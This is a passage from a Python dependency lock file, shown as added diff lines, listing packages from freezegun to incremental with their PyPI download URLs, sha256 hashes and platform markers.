"2023-08-13T14:37:41.552Z" }, +] + +[[package]] +name = "freezegun" +version = "1.5.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/db/0c/c4623ea47ac00387dcb857f7ddec57119a001cf09d10cebc4c29870f5fa1/freezegun-1.5.0.tar.gz", hash = "sha256:200a64359b363aa3653d8aac289584078386c7c3da77339d257e46a01fb5c77c", size = 33167, upload-time = "2024-04-23T18:33:51.394Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5f/df/7418265ab1bfedaad35817f5bc627571684f66008011f02644dbc5e47910/freezegun-1.5.0-py3-none-any.whl", hash = "sha256:ec3f4ba030e34eb6cf7e1e257308aee2c60c3d038ff35996d7475760c9ff3719", size = 17543, upload-time = "2024-04-23T18:33:49.562Z" }, +] + +[[package]] +name = "genson" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c5/cf/2303c8ad276dcf5ee2ad6cf69c4338fd86ef0f471a5207b069adf7a393cf/genson-1.3.0.tar.gz", hash = "sha256:e02db9ac2e3fd29e65b5286f7135762e2cd8a986537c075b06fc5f1517308e37", size = 34919, upload-time = "2024-05-15T22:08:49.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f8/5c/e226de133afd8bb267ec27eead9ae3d784b95b39a287ed404caab39a5f50/genson-1.3.0-py3-none-any.whl", hash = "sha256:468feccd00274cc7e4c09e84b08704270ba8d95232aa280f65b986139cec67f7", size = 21470, upload-time = "2024-05-15T22:08:47.056Z" }, +] + +[[package]] +name = "google-api-core" +version = "2.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "google-auth", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "googleapis-common-protos", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "proto-plus", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "protobuf", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/61/da/83d7043169ac2c8c7469f0e375610d78ae2160134bf1b80634c482fa079c/google_api_core-2.28.1.tar.gz", hash = "sha256:2b405df02d68e68ce0fbc138559e6036559e685159d148ae5861013dc201baf8", size = 176759, upload-time = "2025-10-28T21:34:51.529Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ed/d4/90197b416cb61cefd316964fd9e7bd8324bcbafabf40eef14a9f20b81974/google_api_core-2.28.1-py3-none-any.whl", hash = "sha256:4021b0f8ceb77a6fb4de6fde4502cecab45062e66ff4f2895169e0b35bc9466c", size = 173706, upload-time = "2025-10-28T21:34:50.151Z" }, +] + +[[package]] +name = "google-auth" +version = "2.43.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cachetools", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyasn1-modules", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "rsa", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ff/ef/66d14cf0e01b08d2d51ffc3c20410c4e134a1548fc246a6081eae585a4fe/google_auth-2.43.0.tar.gz", hash = "sha256:88228eee5fc21b62a1b5fe773ca15e67778cb07dc8363adcb4a8827b52d81483", size = 296359, upload-time = "2025-11-06T00:13:36.587Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6f/d1/385110a9ae86d91cc14c5282c61fe9f4dc41c0b9f7d423c6ad77038c4448/google_auth-2.43.0-py2.py3-none-any.whl", hash = "sha256:af628ba6fa493f75c7e9dbe9373d148ca9f4399b5ea29976519e0a3848eddd16", size = 223114, upload-time = "2025-11-06T00:13:35.209Z" }, +] + +[[package]] +name = "google-cloud-core" +version = "2.5.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "google-api-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "google-auth", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a6/03/ef0bc99d0e0faf4fdbe67ac445e18cdaa74824fd93cd069e7bb6548cb52d/google_cloud_core-2.5.0.tar.gz", hash = "sha256:7c1b7ef5c92311717bd05301aa1a91ffbc565673d3b0b4163a52d8413a186963", size = 36027, upload-time = "2025-10-29T23:17:39.513Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/89/20/bfa472e327c8edee00f04beecc80baeddd2ab33ee0e86fd7654da49d45e9/google_cloud_core-2.5.0-py3-none-any.whl", hash = "sha256:67d977b41ae6c7211ee830c7912e41003ea8194bff15ae7d72fd6f51e57acabc", size = 29469, upload-time = "2025-10-29T23:17:38.548Z" }, +] + +[[package]] +name = "google-cloud-storage" +version = "3.6.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "google-api-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "google-auth", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "google-cloud-core", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "google-crc32c", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "google-resumable-media", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "requests", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f4/cd/7e112cf025b2b591067b599e4bfe965df0c12b0cc0afdb5556469bff126d/google_cloud_storage-3.6.0.tar.gz", hash = "sha256:29cc6b9a6c0fc9cdad071e375d540a5a50fbc9a7fad8300fa02fb904f6fe2ca2", size = 17251072, upload-time = "2025-11-17T10:18:29.81Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ae/ef/3b57bf617ee0c79450c1ff211d1eb888db8fc1050ac74b3e52cc6ed86e63/google_cloud_storage-3.6.0-py3-none-any.whl", hash = "sha256:5decbdddd63b7d1fc3e266a393ad6453d2e27d172bd982b1e2f15481668db097", size = 299039, upload-time = "2025-11-17T10:18:27.66Z" }, +] + +[[package]] +name = "google-crc32c" +version = "1.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/19/ae/87802e6d9f9d69adfaedfcfd599266bf386a54d0be058b532d04c794f76d/google_crc32c-1.7.1.tar.gz", hash = "sha256:2bff2305f98846f3e825dbeec9ee406f89da7962accdb29356e4eadc251bd472", size = 14495, upload-time = "2025-03-26T14:29:13.32Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f7/94/220139ea87822b6fdfdab4fb9ba81b3fff7ea2c82e2af34adc726085bffc/google_crc32c-1.7.1-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:6fbab4b935989e2c3610371963ba1b86afb09537fd0c633049be82afe153ac06", size = 30468, upload-time = "2025-03-26T14:32:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/94/97/789b23bdeeb9d15dc2904660463ad539d0318286d7633fe2760c10ed0c1c/google_crc32c-1.7.1-cp311-cp311-macosx_12_0_x86_64.whl", hash = "sha256:ed66cbe1ed9cbaaad9392b5259b3eba4a9e565420d734e6238813c428c3336c9", size = 30313, upload-time = "2025-03-26T14:57:38.758Z" }, + { url = "https://files.pythonhosted.org/packages/81/b8/976a2b843610c211e7ccb3e248996a61e87dbb2c09b1499847e295080aec/google_crc32c-1.7.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee6547b657621b6cbed3562ea7826c3e11cab01cd33b74e1f677690652883e77", size = 33048, upload-time = "2025-03-26T14:41:30.679Z" }, + { url = "https://files.pythonhosted.org/packages/c9/16/a3842c2cf591093b111d4a5e2bfb478ac6692d02f1b386d2a33283a19dc9/google_crc32c-1.7.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d68e17bad8f7dd9a49181a1f5a8f4b251c6dbc8cc96fb79f1d321dfd57d66f53", size = 32669, upload-time = "2025-03-26T14:41:31.432Z" }, + { url = "https://files.pythonhosted.org/packages/16/1b/1693372bf423ada422f80fd88260dbfd140754adb15cbc4d7e9a68b1cb8e/google_crc32c-1.7.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:85fef7fae11494e747c9fd1359a527e5970fc9603c90764843caabd3a16a0a48", size = 28241, upload-time = "2025-03-26T14:41:45.898Z" }, + { url = "https://files.pythonhosted.org/packages/fd/3c/2a19a60a473de48717b4efb19398c3f914795b64a96cf3fbe82588044f78/google_crc32c-1.7.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6efb97eb4369d52593ad6f75e7e10d053cf00c48983f7a973105bc70b0ac4d82", size = 28048, upload-time = "2025-03-26T14:41:46.696Z" }, +] + +[[package]] +name = "google-resumable-media" +version = "2.8.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "google-crc32c", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/64/d7/520b62a35b23038ff005e334dba3ffc75fcf583bee26723f1fd8fd4b6919/google_resumable_media-2.8.0.tar.gz", hash = "sha256:f1157ed8b46994d60a1bc432544db62352043113684d4e030ee02e77ebe9a1ae", size = 2163265, upload-time = "2025-11-17T15:38:06.659Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/0b/93afde9cfe012260e9fe1522f35c9b72d6ee222f316586b1f23ecf44d518/google_resumable_media-2.8.0-py3-none-any.whl", hash = "sha256:dd14a116af303845a8d932ddae161a26e86cc229645bc98b39f026f9b1717582", size = 81340, upload-time = "2025-11-17T15:38:05.594Z" }, +] + +[[package]] +name = "googleapis-common-protos" +version = "1.72.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "protobuf", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e5/7b/adfd75544c415c487b33061fe7ae526165241c1ea133f9a9125a56b39fd8/googleapis_common_protos-1.72.0.tar.gz", hash = "sha256:e55a601c1b32b52d7a3e65f43563e2aa61bcd737998ee672ac9b951cd49319f5", size = 147433, upload-time = "2025-11-06T18:29:24.087Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c4/ab/09169d5a4612a5f92490806649ac8d41e3ec9129c636754575b3553f4ea4/googleapis_common_protos-1.72.0-py3-none-any.whl", hash = "sha256:4299c5a82d5ae1a9702ada957347726b167f9f8d1fc352477702a1e851ff4038", size = 297515, upload-time = "2025-11-06T18:29:13.14Z" }, +] + +[[package]] +name = "gprof2dot" +version = "2025.4.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bb/fd/cad13fa1f7a463a607176432c4affa33ea162f02f58cc36de1d40d3e6b48/gprof2dot-2025.4.14.tar.gz", hash = "sha256:35743e2d2ca027bf48fa7cba37021aaf4a27beeae1ae8e05a50b55f1f921a6ce", size = 39536, upload-time = "2025-04-14T07:21:45.76Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/ed/89d760cb25279109b89eb52975a7b5479700d3114a2421ce735bfb2e7513/gprof2dot-2025.4.14-py3-none-any.whl", hash = "sha256:0742e4c0b4409a5e8777e739388a11e1ed3750be86895655312ea7c20bd0090e", size = 37555, upload-time = "2025-04-14T07:21:43.319Z" }, +] + +[[package]] +name = "graphviz" +version = "0.20.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/83/5a40d19b8347f017e417710907f824915fba411a9befd092e52746b63e9f/graphviz-0.20.3.zip", hash = "sha256:09d6bc81e6a9fa392e7ba52135a9d49f1ed62526f96499325930e87ca1b5925d", size = 256455, upload-time = "2024-03-21T07:50:45.772Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/be/d59db2d1d52697c6adc9eacaf50e8965b6345cc143f671e1ed068818d5cf/graphviz-0.20.3-py3-none-any.whl", hash = "sha256:81f848f2904515d8cd359cc611faba817598d2feaac4027b266aa3eda7b3dde5", size = 47126, upload-time = "2024-03-21T07:50:43.091Z" }, +] + +[[package]] +name = "greenlet" +version = "3.2.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/03/b8/704d753a5a45507a7aab61f18db9509302ed3d0a27ac7e0359ec2905b1a6/greenlet-3.2.4.tar.gz", hash = "sha256:0dca0d95ff849f9a364385f36ab49f50065d76964944638be9691e1832e9f86d", size = 188260, upload-time = "2025-08-07T13:24:33.51Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/de/f28ced0a67749cac23fecb02b694f6473f47686dff6afaa211d186e2ef9c/greenlet-3.2.4-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:96378df1de302bc38e99c3a9aa311967b7dc80ced1dcc6f171e99842987882a2", size = 272305, upload-time = "2025-08-07T13:15:41.288Z" }, + { url = "https://files.pythonhosted.org/packages/09/16/2c3792cba130000bf2a31c5272999113f4764fd9d874fb257ff588ac779a/greenlet-3.2.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1ee8fae0519a337f2329cb78bd7a8e128ec0f881073d43f023c7b8d4831d5246", size = 632472, upload-time = "2025-08-07T13:42:55.044Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/95d48d7e3d433e6dae5b1682e4292242a53f22df82e6d3dda81b1701a960/greenlet-3.2.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:94abf90142c2a18151632371140b3dba4dee031633fe614cb592dbb6c9e17bc3", size = 644646, upload-time = "2025-08-07T13:45:26.523Z" }, + { url = "https://files.pythonhosted.org/packages/d5/5e/405965351aef8c76b8ef7ad370e5da58d57ef6068df197548b015464001a/greenlet-3.2.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:4d1378601b85e2e5171b99be8d2dc85f594c79967599328f95c1dc1a40f1c633", size = 640519, upload-time = "2025-08-07T13:53:13.928Z" }, + { url = "https://files.pythonhosted.org/packages/25/5d/382753b52006ce0218297ec1b628e048c4e64b155379331f25a7316eb749/greenlet-3.2.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0db5594dce18db94f7d1650d7489909b57afde4c580806b8d9203b6e79cdc079", size = 639707, upload-time = "2025-08-07T13:18:27.146Z" }, + { url = "https://files.pythonhosted.org/packages/1f/8e/abdd3f14d735b2929290a018ecf133c901be4874b858dd1c604b9319f064/greenlet-3.2.4-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2523e5246274f54fdadbce8494458a2ebdcdbc7b802318466ac5606d3cded1f8", size = 587684, upload-time = "2025-08-07T13:18:25.164Z" }, + { url = "https://files.pythonhosted.org/packages/5d/65/deb2a69c3e5996439b0176f6651e0052542bb6c8f8ec2e3fba97c9768805/greenlet-3.2.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1987de92fec508535687fb807a5cea1560f6196285a4cde35c100b8cd632cc52", size = 1116647, upload-time = "2025-08-07T13:42:38.655Z" }, + { url = "https://files.pythonhosted.org/packages/3f/cc/b07000438a29ac5cfb2194bfc128151d52f333cee74dd7dfe3fb733fc16c/greenlet-3.2.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:55e9c5affaa6775e2c6b67659f3a71684de4c549b3dd9afca3bc773533d284fa", size = 1142073, upload-time = "2025-08-07T13:18:21.737Z" }, + { url = "https://files.pythonhosted.org/packages/67/24/28a5b2fa42d12b3d7e5614145f0bd89714c34c08be6aabe39c14dd52db34/greenlet-3.2.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c9c6de1940a7d828635fbd254d69db79e54619f165ee7ce32fda763a9cb6a58c", size = 1548385, upload-time = "2025-11-04T12:42:11.067Z" }, + { url = "https://files.pythonhosted.org/packages/6a/05/03f2f0bdd0b0ff9a4f7b99333d57b53a7709c27723ec8123056b084e69cd/greenlet-3.2.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:03c5136e7be905045160b1b9fdca93dd6727b180feeafda6818e6496434ed8c5", size = 1613329, upload-time = "2025-11-04T12:42:12.928Z" }, +] + +[[package]] +name = "gunicorn" +version = "23.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/34/72/9614c465dc206155d93eff0ca20d42e1e35afc533971379482de953521a4/gunicorn-23.0.0.tar.gz", hash = "sha256:f014447a0101dc57e294f6c18ca6b40227a4c90e9bdb586042628030cba004ec", size = 375031, upload-time = "2024-08-10T20:25:27.378Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/7d/6dac2a6e1eba33ee43f318edbed4ff29151a49b5d37f080aad1e6469bca4/gunicorn-23.0.0-py3-none-any.whl", hash = "sha256:ec400d38950de4dfd418cff8328b2c8faed0edb0d517d3394e457c317908ca4d", size = 85029, upload-time = "2024-08-10T20:25:24.996Z" }, +] + +[[package]] +name = "h11" +version = "0.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "h11", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, +] + +[[package]] +name = "httpretty" +version = "1.1.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6e/19/850b7ed736319d0c4088581f4fc34f707ef14461947284026664641e16d4/httpretty-1.1.4.tar.gz", hash = "sha256:20de0e5dd5a18292d36d928cc3d6e52f8b2ac73daec40d41eb62dee154933b68", size = 442389, upload-time = "2021-08-16T19:35:31.4Z" } + +[[package]] +name = "httptools" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/46/120a669232c7bdedb9d52d4aeae7e6c7dfe151e99dc70802e2fc7a5e1993/httptools-0.7.1.tar.gz", hash = "sha256:abd72556974f8e7c74a259655924a717a2365b236c882c3f6f8a45fe94703ac9", size = 258961, upload-time = "2025-10-10T03:55:08.559Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9c/08/17e07e8d89ab8f343c134616d72eebfe03798835058e2ab579dcc8353c06/httptools-0.7.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:474d3b7ab469fefcca3697a10d11a32ee2b9573250206ba1e50d5980910da657", size = 206521, upload-time = "2025-10-10T03:54:31.002Z" }, + { url = "https://files.pythonhosted.org/packages/aa/06/c9c1b41ff52f16aee526fd10fbda99fa4787938aa776858ddc4a1ea825ec/httptools-0.7.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3c3b7366bb6c7b96bd72d0dbe7f7d5eead261361f013be5f6d9590465ea1c70", size = 110375, upload-time = "2025-10-10T03:54:31.941Z" }, + { url = "https://files.pythonhosted.org/packages/cc/cc/10935db22fda0ee34c76f047590ca0a8bd9de531406a3ccb10a90e12ea21/httptools-0.7.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:379b479408b8747f47f3b253326183d7c009a3936518cdb70db58cffd369d9df", size = 456621, upload-time = "2025-10-10T03:54:33.176Z" }, + { url = "https://files.pythonhosted.org/packages/0e/84/875382b10d271b0c11aa5d414b44f92f8dd53e9b658aec338a79164fa548/httptools-0.7.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cad6b591a682dcc6cf1397c3900527f9affef1e55a06c4547264796bbd17cf5e", size = 454954, upload-time = "2025-10-10T03:54:34.226Z" }, + { url = "https://files.pythonhosted.org/packages/30/e1/44f89b280f7e46c0b1b2ccee5737d46b3bb13136383958f20b580a821ca0/httptools-0.7.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:eb844698d11433d2139bbeeb56499102143beb582bd6c194e3ba69c22f25c274", size = 440175, upload-time = "2025-10-10T03:54:35.942Z" }, + { url = "https://files.pythonhosted.org/packages/6f/7e/b9287763159e700e335028bc1824359dc736fa9b829dacedace91a39b37e/httptools-0.7.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f65744d7a8bdb4bda5e1fa23e4ba16832860606fcc09d674d56e425e991539ec", size = 440310, upload-time = "2025-10-10T03:54:37.1Z" }, +] + +[[package]] +name = "httpx" +version = "0.27.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "certifi", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "httpcore", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "idna", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "sniffio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/78/82/08f8c936781f67d9e6b9eeb8a0c8b4e406136ea4c3d1f89a5db71d42e0e6/httpx-0.27.2.tar.gz", hash = "sha256:f7c2be1d2f3c3c3160d441802406b206c2b76f5947b11115e6df10c6c65e66c2", size = 144189, upload-time = "2024-08-27T12:54:01.334Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/95/9377bcb415797e44274b51d46e3249eba641711cf3348050f76ee7b15ffc/httpx-0.27.2-py3-none-any.whl", hash = "sha256:7bb2708e112d8fdd7829cd4243970f0c223274051cb35ee80c03301ee29a3df0", size = 76395, upload-time = "2024-08-27T12:53:59.653Z" }, +] + +[[package]] +name = "httpx-sse" +version = "0.4.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/4c/751061ffa58615a32c31b2d82e8482be8dd4a89154f003147acee90f2be9/httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d", size = 15943, upload-time = "2025-10-10T21:48:22.271Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/fd/6668e5aec43ab844de6fc74927e155a3b37bf40d7c3790e49fc0406b6578/httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc", size = 8960, upload-time = "2025-10-10T21:48:21.158Z" }, +] + +[[package]] +name = "humanize" +version = "4.14.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b6/43/50033d25ad96a7f3845f40999b4778f753c3901a11808a584fed7c00d9f5/humanize-4.14.0.tar.gz", hash = "sha256:2fa092705ea640d605c435b1ca82b2866a1b601cdf96f076d70b79a855eba90d", size = 82939, upload-time = "2025-10-15T13:04:51.214Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c3/5b/9512c5fb6c8218332b530f13500c6ff5f3ce3342f35e0dd7be9ac3856fd3/humanize-4.14.0-py3-none-any.whl", hash = "sha256:d57701248d040ad456092820e6fde56c930f17749956ac47f4f655c0c547bfff", size = 132092, upload-time = "2025-10-15T13:04:49.404Z" }, +] + +[[package]] +name = "hyperlink" +version = "21.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3a/51/1947bd81d75af87e3bb9e34593a4cf118115a8feb451ce7a69044ef1412e/hyperlink-21.0.0.tar.gz", hash = "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", size = 140743, upload-time = "2021-01-08T05:51:20.972Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6e/aa/8caf6a0a3e62863cbb9dab27135660acba46903b703e224f14f447e57934/hyperlink-21.0.0-py2.py3-none-any.whl", hash = "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4", size = 74638, upload-time = "2021-01-08T05:51:22.906Z" }, +] + +[[package]] +name = "icalendar" +version = "5.0.12" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dateutil", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pytz", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/40/e7/01b5dd6623fda765e6edd605ef551a44071d3034eb4a252c7f61fb24323b/icalendar-5.0.12.tar.gz", hash = "sha256:73f9be68477722c98320621400943705dcfdbbc6c2b565253f72d3f87e514db8", size = 115981, upload-time = "2024-03-19T22:10:44.817Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/89/badc6427111cffabb6a462bf447cfff5e9e4c856527ddc030c11020b6cc5/icalendar-5.0.12-py3-none-any.whl", hash = "sha256:d873bb859df9c6d0e597b16d247436e0f83f7ac1b90a06429b8393fe8afeba40", size = 116298, upload-time = "2024-03-19T22:10:42.89Z" }, +] + +[[package]] +name = "icdiff" +version = "2.0.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/e4/43341832be5f2bcae71eb3ef08a07aaef9b74f74fe0b3675f62bd12057fe/icdiff-2.0.7.tar.gz", hash = "sha256:f79a318891adbf59a45e3a7694f5e1f18c5407065264637072ac8363b759866f", size = 16394, upload-time = "2023-08-21T15:00:55.742Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/2a/b3178baa75a3ec75a33588252296c82a1332d2b83cd01061539b74bde9dd/icdiff-2.0.7-py3-none-any.whl", hash = "sha256:f05d1b3623223dd1c70f7848da7d699de3d9a2550b902a8234d9026292fb5762", size = 17018, upload-time = "2023-08-21T15:00:54.634Z" }, +] + +[[package]] +name = "idna" +version = "3.11" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" }, +] + +[[package]] +name = "importlib-metadata" +version = "8.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "zipp", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/bd/fa8ce65b0a7d4b6d143ec23b0f5fd3f7ab80121078c465bc02baeaab22dc/importlib_metadata-8.4.0.tar.gz", hash = "sha256:9a547d3bc3608b025f93d403fdd1aae741c24fbb8314df4b155675742ce303c5", size = 54320, upload-time = "2024-08-20T17:11:42.348Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/14/362d31bf1076b21e1bcdcb0dc61944822ff263937b804a79231df2774d28/importlib_metadata-8.4.0-py3-none-any.whl", hash = "sha256:66f342cc6ac9818fc6ff340576acd24d65ba0b3efabb2b4ac08b598965a4a2f1", size = 26269, upload-time = "2024-08-20T17:11:41.102Z" }, +] + +[[package]] +name = "incremental" +version = "24.11.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ef/3c/82e84109e02c492f382c711c58a3dd91badda6d746def81a1465f74dc9f5/incremental-24.11.0.tar.gz", hash = "sha256:87d3480dbb083c1d736222511a8cf380012a8176c2456d01ef483242abbbcf8c", size = 24000, upload-time = "2025-11-28T02:30:17.861Z" } 